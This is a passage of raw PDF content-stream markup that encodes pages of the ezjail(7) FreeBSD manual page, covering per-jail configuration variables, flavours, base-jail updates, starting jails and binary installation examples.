+[(ezjail_J)60(AILN)35(AME_zfs_datasets)]TJ +4.1 -1.2 TD +0.1288 Tw +[(F)15(o)0(r)-378.7(ZFS jails, additional ZFS datasets to attach to the jail when starting it. T)80(a)0(k)10(en from the)]TJ +/TT3 1 Tf +38.4948 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(z)Tj +/TT6 1 Tf +-39.0948 -1.2 TD +(option when con)Tj +/TT9 1 Tf +6.6655 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(guring a jail; the empty string otherwise.)Tj +-14.3217 -6.6 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(3)]TJ +ET +endstream +endobj +17 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT3 18 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT8 7 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +20 0 obj +<< +/Length 9370 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +3 -4.8 TD +0 Tw +[(ezjail_J)60(AILN)35(AME_cpuset)]TJ +4.1 -1.2 TD +0.021 Tw +(The processor set to place the jail in when starting it \(see)Tj +/TT11 1 Tf +23.2447 0 TD +0 Tw +(cpuset)Tj +/TT6 1 Tf +3.6006 0 TD +0.021 Tw +[(\(1\)\). )-250(T)80(a)0(k)10(en from the)]TJ +/TT3 1 Tf +8.8237 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(c)Tj +/TT6 1 Tf +0.8711 0 TD +(option)Tj +-37.1401 -1.2 TD +(when con)Tj +/TT9 1 Tf +3.8599 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(guring a jail; the empty string otherwise.)Tj +-8.516 -1.8 TD +[(ezjail_J)60(AILN)35(AME_)]TJ +/TT9 1 Tf +8.0696 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(b)Tj +-4.5257 -1.2 TD +0.0466 Tw +[(The netw)10(ork vie)25(w)-296.6(t)0(o)-296.6(g)0(i)25(v)25( )286.6(e)-296.6(to the jail \(see)]TJ +/TT11 1 Tf +16.756 0 TD +0 Tw +(setfib)Tj +/TT6 1 Tf +3.6006 0 TD +0.0466 Tw +[(\(1\)\) when starting it. T)80(a)0(k)10(en from the)]TJ +/TT3 1 Tf +15.2872 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(f)Tj +/TT6 1 Tf +0.8968 0 TD +(option)Tj +-37.1407 -1.2 TD +(when con)Tj +/TT9 1 Tf +3.8599 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(guring the jail; the empty string otherwise.)Tj +-8.516 -1.8 TD +[(ezjail_J)60(AILN)35(AME_parameters)]TJ +4.1 -1.2 TD +0.054 Tw +(The parameter set to be con)Tj +/TT9 1 Tf +11.3481 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.054 Tw +(gured to the jail \(see)Tj +/TT11 1 Tf +8.6835 0 TD +0 Tw +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +0.0539 Tw +[(\(8\)\) when starting it. Y)110(ou need to con)]TJ +/TT9 1 Tf +15.3191 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(g-)Tj +-38.8634 -1.2 TD +(ure this by hand.)Tj +-4.1 -1.8 TD +[(ezjail_J)60(AILN)35(AME_post_start_script)]TJ +4.1 -1.2 TD +0.017 Tw +[(The path to a script that will be e)15(x)15(ecuted after the jail successfully w)10(as created. The script recei)25(v)15(e)0(s)]TJ +T* +0 Tw +[(tw)10(o)-250(parameters, the jid and the jail name.)-500(Y)110(o)0(u)-250(need to con)]TJ +/TT9 1 Tf +23.4835 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(gure this by hand.)Tj +-28.1397 -1.8 TD +0.3903 Tw +(In addition to these)Tj +/TT11 1 Tf +9.5041 0 TD +0 Tw +(sh)Tj +/TT6 1 Tf +1.2002 0 TD +0.3902 Tw +[(\(1\)-style v)25(ariables, the administrator may add comment lines starting with)]TJ +-10.7043 -1.2 TD +0.0658 Tw +[(PR)40(O)50(VIDE:, REQ)10(UIRE: and BEFORE:.)-565.8(These comments are used by)]TJ +/TT11 1 Tf +31.485 0 TD +0 Tw +(rcorder)Tj +/TT6 1 Tf +4.2007 0 TD +0.0659 Tw +(\(8\) to determine the)Tj +-35.6857 -1.2 TD +0.0481 Tw +[(order in which the jails are started. The def)10(ault is to k)10(eep REQ)10(UIRE and BEFORE empty)65(,)-298.1(meaning the)]TJ +T* +0 Tw +[(jails are started in no particular order)55(.)]TJ +/TT2 1 Tf +-1.8 -2.4 TD +[(Fla)25(v)10(ours)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0.4115 Tw +(When a jail is created, it is not con)Tj +/TT9 1 Tf +17.1484 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.4115 Tw +[(gured; in particular you lik)10(ely w)10(ant to edit )]TJ +/TT9 1 Tf +20.4341 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.4115 Tw +(les such as)Tj +/TT11 1 Tf +-38.6949 -1.2 TD +0 Tw +(/etc/resolv.conf)Tj +/TT6 1 Tf +9.6016 0 TD +(,)Tj +/TT11 1 Tf +0.9187 0 TD +(/etc/localtime)Tj +/TT6 1 Tf +8.7201 0 TD +0.0686 Tw +[(and others. Y)110(ou may also w)10(ant to create some system users,)]TJ +-19.2403 -1.2 TD +0.1042 Tw +(maybe enable)Tj +/TT11 1 Tf +5.9833 0 TD +0 Tw +(sshd)Tj +/TT6 1 Tf +2.4004 0 TD +0.1042 Tw +[(\(8\). )-250(Ezjail)-354.2(solv)15(es this problem by using the concept of )]TJ +/TT9 1 Tf +23.5773 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.3543 Tw +[(a)20(v)20(ours. When)-354.3(a)]TJ +/TT9 1 Tf +7.4643 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1043 Tw +[(a)20(v)20(our is)]TJ +-40.5376 -1.2 TD +0.0804 Tw +(selected at jail creation time, the )Tj +/TT9 1 Tf +13.6709 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0803 Tw +[(a)20(v)20(our directory tree is mer)18(ged into the ne)25(w)-330.4(jail)55(s)-330.4(directory tree. In addi-)]TJ +-14.227 -1.2 TD +0 Tw +(tion, the jail is con)Tj +/TT9 1 Tf +7.4155 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(gured so that on its )Tj +/TT9 1 Tf +7.8604 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(rst boot, the )Tj +/TT9 1 Tf +4.9995 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le)Tj +/TT11 1 Tf +0.9717 0 TD +(ezjail.flavour)Tj +/TT6 1 Tf +8.6514 0 TD +[(is e)15(x)15(ecuted.)]TJ +-31.5669 -1.8 TD +0.1077 Tw +(As part of the install sub-command, the )Tj +/TT9 1 Tf +16.8061 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1078 Tw +[(a)20(v)20(our base directory w)10(as created as)]TJ +/TT11 1 Tf +15.0343 0 TD +0 Tw +(/usr/jails/flavours)Tj +/TT6 1 Tf +-32.3966 -1.2 TD +0.0326 Tw +(and populated with an single )Tj +/TT9 1 Tf +11.9106 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0326 Tw +[(a)20(v)20(our named)]TJ +/TT4 1 Tf +5.4676 0 TD +0 Tw +(example)Tj +/TT6 1 Tf +4.2007 0 TD +[(.)-532.6(This )]TJ +/TT9 1 Tf +2.843 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0326 Tw +[(a)20(v)20(our contains 3 )]TJ +/TT9 1 Tf +6.9172 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0326 Tw +(les customized for running)Tj +-33.0075 -1.2 TD +1.0937 Tw +(in a jail \()Tj +/TT11 1 Tf +6.8631 0 TD +0 Tw +(etc/make.conf)Tj +/TT6 1 Tf +7.8013 0 TD +(,)Tj +/TT11 1 Tf +1.9437 0 TD +(etc/periodic.conf)Tj +/TT6 1 Tf +10.2017 0 TD +(,)Tj +/TT11 1 Tf +1.9437 0 TD +(etc/rc.conf)Tj +/TT6 1 Tf +6.6011 0 TD +1.3437 Tw +[(\). The)-1343.8(e)15(xample)]TJ +/TT11 1 Tf +-35.3545 -1.2 TD +0 Tw +(ezjail.flavour)Tj +/TT6 1 Tf +8.7932 0 TD +0.1417 Tw +[(also sho)25(w)-391.7(h)0(o)25(w)25( )-25(to)-391.7(create users, and introduce the con)40(v)15(ention of placing packages in)]TJ +/TT11 1 Tf +-8.7932 -1.2 TD +0 Tw +(/pkg)Tj +/TT6 1 Tf +2.7014 0 TD +0.051 Tw +(that are installed when the jail is )Tj +/TT9 1 Tf +13.5474 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.051 Tw +[(rst brought up. Y)110(ou are encouraged to cop)10(y)-301.1(the e)15(xample )]TJ +/TT9 1 Tf +23.1184 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0511 Tw +[(a)20(v)20(our to)]TJ +-40.4795 -1.2 TD +0.0014 Tw +[(create your o)25(wn )]TJ +/TT9 1 Tf +6.6706 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(our)55(.)-501.4(T)80(ypical )]TJ +/TT9 1 Tf +6.1589 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0013 Tw +[(a)20(v)20(our usages include setting up jails with site-speci)]TJ +/TT9 1 Tf +20.4925 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0013 Tw +(c con)Tj +/TT9 1 Tf +2.139 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0013 Tw +(guration, creat-)Tj +-37.6856 -1.2 TD +0.0295 Tw +[(ing classes of jails for de)25(v)15(elopment or testing \(such as a webde)25(v)]TJ +/TT9 1 Tf +26.2266 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0296 Tw +[(a)20(v)20(our that w)10(ould install Apache with your)]TJ +-26.7828 -1.2 TD +0 Tw +[(f)10(a)20(v)20(ourite web de)25(v)15(elopment frame)25(w)10(ork\), pre-creating local users, and so on.)]TJ +/TT2 1 Tf +-1.8 -2.4 TD +0.0625 Tw +[(Updating the Base J)15(ail)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0.0674 Tw +[(W)80(e)80( )-80.1(already mentionned ho)25(w)-317.5(easy it is to update jails, since only one cop)10(y)-317.5(needs to be updated. Ezjail only)]TJ +T* +0.6262 Tw +[(handles updating the base system; updating the ports is left to the administrator \(b)20(ut see)]TJ +T* +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +(ports-mgmt/jailaudit)Tj +/TT6 1 Tf +12.002 0 TD +0.0251 Tw +[()-275.1(for a w)10(ay to get noti)]TJ +/TT9 1 Tf +8.9155 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0251 Tw +(ed of ports in need of an update\). Updates are handled)Tj +-21.9175 -1.2 TD +0.1373 Tw +(with the)Tj +/TT4 1 Tf +3.7741 0 TD +-0.2127 Tw +(ezjail-admin update)Tj +/TT6 1 Tf +11.5765 0 TD +0.1374 Tw +(command. It is possible to update the base jail from source or from)Tj +-15.3506 -1.2 TD +0.0382 Tw +[(binary packages. If a base jail already e)15(xists, the)]TJ +/TT4 1 Tf +19.9047 0 TD +0 Tw +(update)Tj +/TT6 1 Tf +3.8888 0 TD +0.0382 Tw +[(command installs the w)10(orld in a temporary direc-)]TJ +-23.7935 -1.2 TD +0.032 Tw +[(tory before mo)15(ving it to the basejail, thus lea)20(ving intact all installed libraries. After making sure all softw)10(are)]TJ +T* +0.0752 Tw +[(running in the jails is link)10(ed with the ne)25(w)-325.2(librairies, you may w)10(ant to rem)]TJ +30.4189 0 TD +-0.015 Tc +0 Tw +(ove )Tj +1.739 0 TD +0 Tc +0.0752 Tw +[(the old library v)15(ersions. It is)]TJ +-32.158 -1.2 TD +0 Tw +[(often a good idea to update the jails when a ne)25(w)-250(k)10(ernel is installed in the host, using the same sources.)]TJ +/TT2 1 Tf +-1.8 -2.4 TD +0.0625 Tw +[(Starting J)15(ails)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0 Tw +[(Lik)10(e)-601.1(all)]TJ +/TT11 1 Tf +4.0242 0 TD +(rc)Tj +/TT6 1 Tf +1.2002 0 TD +0.3511 Tw +(\(8\) scripts, the ezjail script)Tj +/TT11 1 Tf +12.6408 0 TD +0 Tw +(EZJAIL_PREFIX/etc/rc.d/ezjail)Tj +/TT6 1 Tf +18.0039 0 TD +0.3512 Tw +(accepts parameters)Tj +/TT4 1 Tf +-35.8691 -1.2 TD +0 Tw +(start)Tj +/TT6 1 Tf +3.0005 0 TD +(,)Tj +/TT4 1 Tf +0.852 0 TD +(restart)Tj +/TT6 1 Tf +4.8027 0 TD +(and)Tj +/TT4 1 Tf +1.6958 0 TD +(stop,)Tj +/TT6 1 Tf +3.6025 0 TD +0.002 Tw +[(running, restarting and stopping all \(non-blocking\) jails under ezjail)55(s)-252(con-)]TJ +-13.9535 -1.2 TD +0 Tw +[(trol by def)10(ault. When passed an additional list of jails, only these jails are acted upon.)]TJ +0 -1.8 TD +0.0321 Tw +(The order in which jails are started is determined by the)Tj +/TT11 1 Tf +22.9288 0 TD +0 Tw +(rcorder)Tj +/TT6 1 Tf +4.2007 0 TD +0.0321 Tw +(\(8\) tool, using cues from the jail con)Tj +/TT9 1 Tf +14.7769 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(gu-)Tj +-42.4626 -1.2 TD +(rations in ezjails)Tj +/TT11 1 Tf +6.8037 0 TD +(EZJAIL_PREFIX/etc/ezjail)Tj +/TT6 1 Tf +14.6523 0 TD +[(control directory)65(.)]TJ +-24.4561 -5.4 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(4)]TJ +ET +endstream +endobj +21 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 18 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +23 0 obj +<< +/Length 7750 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +3 -4.8 TD +0.044 Tw +[(The script e)15(xamines its con)]TJ +/TT9 1 Tf +11.1024 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0439 Tw +[(g, attaches and mounts images, and sets v)25(ariables for each jail in the list before)]TJ +-11.6586 -1.2 TD +0 Tw +(passing its command on to the)Tj +/TT11 1 Tf +12.3877 0 TD +(/etc/rc.d/jail)Tj +/TT6 1 Tf +8.6514 0 TD +(script.)Tj +-21.0391 -1.8 TD +0.0353 Tw +[(T)80(o)80( )-80(interacti)25(v)15(ely start all crypto image jails \(or those depending on them\), that were not automatically started)]TJ +0 -1.2 TD +0 Tw +(during booting, use the)Tj +/TT4 1 Tf +9.4712 0 TD +(startcrypto)Tj +/TT6 1 Tf +6.8511 0 TD +[(parameter)55(.)]TJ +-16.3223 -1.8 TD +0.3287 Tw +(Note that jails con)Tj +/TT9 1 Tf +8.2898 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.3287 Tw +(gured to be in the)Tj +/TT13 1 Tf +8.8915 0 TD +0 Tw +(norun)Tj +/TT6 1 Tf +2.9679 0 TD +0.3287 Tw +(state \(using)Tj +/TT4 1 Tf +5.4898 0 TD +-0.0214 Tw +(ezjail-admin config)Tj +/TT3 1 Tf +12.4757 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(r)Tj +/TT8 1 Tf +1.5287 0 TD +(norun)Tj +-40.7996 -1.2 TD +(jailname)Tj +/TT6 1 Tf +4.8008 0 TD +[(\))-250(are ne)25(v)15(e)0(r)-250(started by the ezjail rc script.)]TJ +-4.8008 -1.8 TD +0.0403 Tw +[(As a con)40(v)15(enient shortcut, the)]TJ +/TT4 1 Tf +12.0322 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.4915 0 TD +0.0404 Tw +[(command in)40(v)20(o)0(k)10(e)0(s)-290.4(the rc.d script and passes the correspond-)]TJ +-19.5237 -1.2 TD +0 Tw +[(ing parameters, if the)15(y)-250(look lik)10(e)-250(v)25(alid parameters.)]TJ +0 -1.8 TD +0.0342 Tw +[(Ev)15(en if ezjail is not enabled in the)]TJ +/TT11 1 Tf +14.1429 0 TD +0 Tw +(rc.conf)Tj +/TT6 1 Tf +4.2007 0 TD +0.0341 Tw +(\(5\), rc.d/ezjail can be used to start and stop jails by prepending)Tj +/TT4 1 Tf +-18.3436 -1.2 TD +0 Tw +(force)Tj +/TT6 1 Tf +3.6005 0 TD +(or)Tj +/TT4 1 Tf +1.083 0 TD +(one)Tj +/TT6 1 Tf +2.4003 0 TD +(to the)Tj +/TT4 1 Tf +2.4995 0 TD +(start, restart)Tj +/TT6 1 Tf +9.0014 0 TD +(or)Tj +/TT4 1 Tf +1.083 0 TD +(stop)Tj +/TT6 1 Tf +3.0004 0 TD +[(parameter)55(.)-250(Refer to)]TJ +/TT11 1 Tf +7.9406 0 TD +(rc)Tj +/TT6 1 Tf +1.2002 0 TD +(\(8\) for details.)Tj +/TT2 1 Tf +-33.6089 -2.4 TD +0.0625 Tw +[(Remarks & T)18(ips)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0.0023 Tw +[(Jails can be either accessed from the netw)10(ork, for instance by using)]TJ +/TT11 1 Tf +27.2032 0 TD +0 Tw +(ssh)Tj +/TT6 1 Tf +1.8003 0 TD +0.0024 Tw +(\(1\), or from the host system by using)Tj +-29.0035 -1.2 TD +0 Tw +(the)Tj +/TT4 1 Tf +1.5745 0 TD +(console)Tj +/TT6 1 Tf +4.5535 0 TD +0.1027 Tw +[(command, which gi)25(v)15(e)0(s)-352.7(you an interacti)25(v)15(e)15( )-15(shell inside the jail. It is also possible to edit the)]TJ +/TT9 1 Tf +-6.128 -1.2 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0059 Tw +(les of a running jail, and the modi)Tj +/TT9 1 Tf +13.5384 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0059 Tw +[(cations will appear immediately inside the jail en)40(vironment. )-250(When)-255.9(deal-)]TJ +-14.6507 -1.2 TD +0.1412 Tw +(ing image-based, the)Tj +/TT4 1 Tf +8.9763 0 TD +(config -i attach)Tj +/TT6 1 Tf +10.2751 0 TD +0.1411 Tw +[(command allo)25(ws one to access the disk of a )]TJ +/TT9 1 Tf +18.99 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1411 Tw +(le-based jail)Tj +-38.7976 -1.2 TD +0 Tw +(without starting it.)Tj +0 -1.8 TD +0.0448 Tw +[(Ra)15(w)-294.8(sock)10(ets are disallo)25(wed by def)10(ault for all jails. This is not a ezjail restriction, b)20(ut a design def)10(ault of the)]TJ +0 -1.2 TD +0.0401 Tw +(jail command. This means the)Tj +/TT11 1 Tf +12.4754 0 TD +0 Tw +(ping)Tj +/TT6 1 Tf +2.4004 0 TD +0.0401 Tw +(\(8\) command will get Operation not permitted. error when used from)Tj +-14.8758 -1.2 TD +0.0525 Tw +(inside of a jail. There are)Tj +/TT11 1 Tf +10.5601 0 TD +0 Tw +(sysctl)Tj +/TT6 1 Tf +3.6006 0 TD +0.0525 Tw +[(\(3\) knobs for allo)25(wing a jail to access ra)15(w)-302.6(sock)10(ets, see the)]TJ +/TT11 1 Tf +24.0452 0 TD +0 Tw +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +0.0526 Tw +(\(8\) man)Tj +-40.6063 -1.2 TD +0 Tw +(page for details.)Tj +0 -1.8 TD +0.0365 Tw +[(Once your jail has netw)10(ork access, then all your normal application install functions are a)20(v)25(ailabe, right from)]TJ +0 -1.2 TD +0.0372 Tw +[(the jails console. In particular)40(,)-287.2(i)0(f)-287.2(the ports collection w)10(as installed, it can be used as if from the host system.)]TJ +T* +0 Tw +[(A)-380.7(modi)]TJ +/TT9 1 Tf +3.1585 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(ed)Tj +/TT11 1 Tf +1.3245 0 TD +(make.conf)Tj +/TT9 1 Tf +5.7816 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1307 Tw +[(le is installed by the e)15(xample )]TJ +/TT9 1 Tf +12.6549 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1307 Tw +[(a)20(v)20(our)40(,)-380.7(that enable the ports collection to w)10(ork)]TJ +-24.5881 -1.2 TD +0 Tw +[(e)25(v)25( )240(en)-250(with a read-only)]TJ +/TT11 1 Tf +8.9009 0 TD +(/usr/ports)Tj +/TT6 1 Tf +6.001 0 TD +(.)Tj +-14.9019 -1.8 TD +0.7411 Tw +(It is possible to change the IP address of a jail by editing its con)Tj +/TT9 1 Tf +35.8705 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(guration )Tj +/TT9 1 Tf +4.3236 0 TD +()Tj +/TT6 1 Tf +0.5561 0 TD +0.7411 Tw +(le in)Tj +/TT11 1 Tf +-41.3064 -1.2 TD +0 Tw +(EZJAIL_PREFIX/etc/ezjail)Tj +/TT6 1 Tf +14.6523 0 TD +(and restarting the jail.)Tj +-14.6523 -1.8 TD +0.0321 Tw +[(The jails use the same netw)10(ork stack as the host system. In particular)40(,)-282.1(that means that if a )]TJ +/TT9 1 Tf +36.4619 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0321 Tw +[(re)25(w)10(all is needed,)]TJ +-37.018 -1.2 TD +0 Tw +(it must be con)Tj +/TT9 1 Tf +5.6382 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(gured in the host system.)Tj +-6.1943 -1.8 TD +0.1787 Tw +(The ezjail system \(and the jails it controls\) depends on the )Tj +/TT11 1 Tf +25.931 0 TD +0 Tw +($ezjail_enable)Tj +/TT6 1 Tf +8.4014 0 TD +0.1787 Tw +[()-428.7(v)25(ariable being set to)]TJ +-34.3324 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +0.397 Tc +[(i)397(n)]TJ +/TT11 1 Tf +2.0157 0 TD +0 Tc +(rc.conf)Tj +/TT6 1 Tf +4.2007 0 TD +0.147 Tw +[(.)-647(I)0(t)-397(i)0(s)-397(possible to set this v)25(ariable to )]TJ +/TT11 1 Tf +16.3791 0 TD +0 Tw +(NO)Tj +/TT6 1 Tf +1.2002 0 TD +0.147 Tw +[()-397(i)0(f)-397(the administrator w)10(ants to temporarily)]TJ +-26.0398 -1.2 TD +0 Tw +[(ezjail, or if she doesn)18(t)-250(w)10(ant the jails to be automatically started on boot.)]TJ +0 -1.8 TD +[(The ezjail system may be reset to a pristine state by remo)15(ving all its )]TJ +/TT9 1 Tf +27.3663 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(les, that is:)Tj +/TT11 1 Tf +-27.9225 -1.2 TD +(/usr/jails/)Tj +T* +(EZJAIL_PREFIX/etc/ezjail/)Tj +T* +(EZJAIL_PREFIX/etc/ezjail.conf)Tj +T* +(/etc/fstab.)Tj +/TT14 1 Tf +6.6011 0 TD +<009b>Tj +/TT6 1 Tf +1.1 0 TD +[(\(b)20(ut check the list of )]TJ +/TT9 1 Tf +8.4497 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(les this matches\))Tj +/TT2 1 Tf +-19.707 -2.4 TD +(EXAMPLES)Tj +/TT6 1 Tf +3 -1.2 TD +0.0276 Tw +[(The e)15(xamples belo)25(w)-277.6(are only that, e)15(xamples. The reader is encouraged to read the)]TJ +/TT11 1 Tf +33.4294 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +0.0277 Tw +(\(8\) man)Tj +-40.6305 -1.2 TD +0 Tw +(page for de)Tj +/TT9 1 Tf +4.4976 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(niti)25(v)15(e)15( )-15(documentation of all the options.)]TJ +/TT2 1 Tf +-6.8537 -2.4 TD +0.0625 Tw +(Initial Binary Installation)Tj +/TT6 1 Tf +1.8 -1.2 TD +0.2348 Tw +[(The ezjail system may be bootstrapped either from binary packages, or by b)20(uilding from source. The)]TJ +/TT4 1 Tf +T* +0 Tw +(install)Tj +/TT6 1 Tf +4.5725 0 TD +0.1218 Tw +[(command allo)25(w)-371.8(t)0(o)-371.8(bootstrap from binary packages, while the)]TJ +/TT4 1 Tf +25.8423 0 TD +0 Tw +(update)Tj +/TT6 1 Tf +3.9725 0 TD +0.1219 Tw +(deals with installations)Tj +-34.3873 -1.2 TD +0 Tw +(\(and updates\) from source.)Tj +-3 -5.4 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(5)]TJ +ET +endstream +endobj +24 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT3 18 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT8 7 0 R +/TT9 8 0 R +/TT11 9 0 R +/TT13 25 0 R +/TT14 26 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +28 0 obj +<< +/Length 4569 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +/TT4 1 Tf +3 -4.8 TD +0 Tw +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT6 1 Tf +4.8007 0 TD +[(\(without an)15(y)-250(options\))]TJ +-8.152 -1.2 TD +0.0585 Tw +[(Fetch and install binaries for populating the base jail from the FreeBSD FTP serv)15(er)55(.)-308.6(I)0(f)-308.6(the host is)]TJ +T* +0.1324 Tw +[(not running a -RELEASE v)15(ersion, you will be ask)10(ed for the release to install. Neither the man)]TJ +T* +0.0849 Tw +[(pages nor the source nor the ports tree are installed. Note that the FreeBSD FTP serv)15(er is some-)]TJ +T* +0.0134 Tw +[(times so b)20(usy the do)25(wnload times out. Use the)]TJ +/TT3 1 Tf +19.0738 0 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(h)Tj +/TT8 1 Tf +1.2136 0 TD +(host)Tj +/TT6 1 Tf +2.6639 0 TD +0.0135 Tw +[(option to specify a less loaded serv)15(er)40(,)-263.5(o)0(r)]TJ +-23.5514 -1.2 TD +0 Tw +(the )Tj +/TT11 1 Tf +1.9155 0 TD +($ezjail_ftphost)Tj +/TT6 1 Tf +9.0015 0 TD +[()-250(option in)]TJ +/TT11 1 Tf +4.5273 0 TD +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +(\(8\).)Tj +/TT4 1 Tf +-26.1454 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT3 1 Tf +4.9673 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(ms)Tj +/TT6 1 Tf +-8.9186 -1.2 TD +[(Same beha)20(vior as abo)15(v)15(e)0(,)-250(e)15(xcept that man pages and sources are installed in the base jail.)]TJ +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT3 1 Tf +4.9673 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(p)Tj +/TT6 1 Tf +-8.9186 -1.2 TD +0.1067 Tw +(Same as the )Tj +/TT9 1 Tf +5.3465 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1066 Tw +[(rst e)15(xample, b)20(ut use)]TJ +/TT11 1 Tf +8.6395 0 TD +0 Tw +(portsnap)Tj +/TT6 1 Tf +4.8008 0 TD +0.1066 Tw +[(\(8\) to fetch and e)15(xtract a full FreeBSD ports tree)]TJ +-19.3429 -1.2 TD +0 Tw +(from)Tj +/TT11 1 Tf +2.2498 0 TD +(portsnap.FreeBSD.org)Tj +/TT6 1 Tf +12.308 0 TD +0.0561 Tw +(into the base jail. This is necessary if you plan to install ports)Tj +-14.5578 -1.2 TD +0 Tw +(at later time into service jails.)Tj +/TT4 1 Tf +-4.1 -1.8 TD +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT3 1 Tf +4.9673 0 TD +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(P)Tj +/TT6 1 Tf +1.2001 0 TD +(\(note uppercase P\))Tj +-10.1187 -1.2 TD +0.0451 Tw +[(Only fetch the current v)15(ersion of the ports tree, adding it to the base jail.)-545.1(This allo)25(w)-295.1(t)0(o)-295.1(either add)]TJ +T* +0 Tw +(the ports tree after the initial installation or update the ports tree in the base jail.)Tj +-4.1 -1.8 TD +(Install from a disk image)Tj +4.1 -1.2 TD +[(Mount and use a 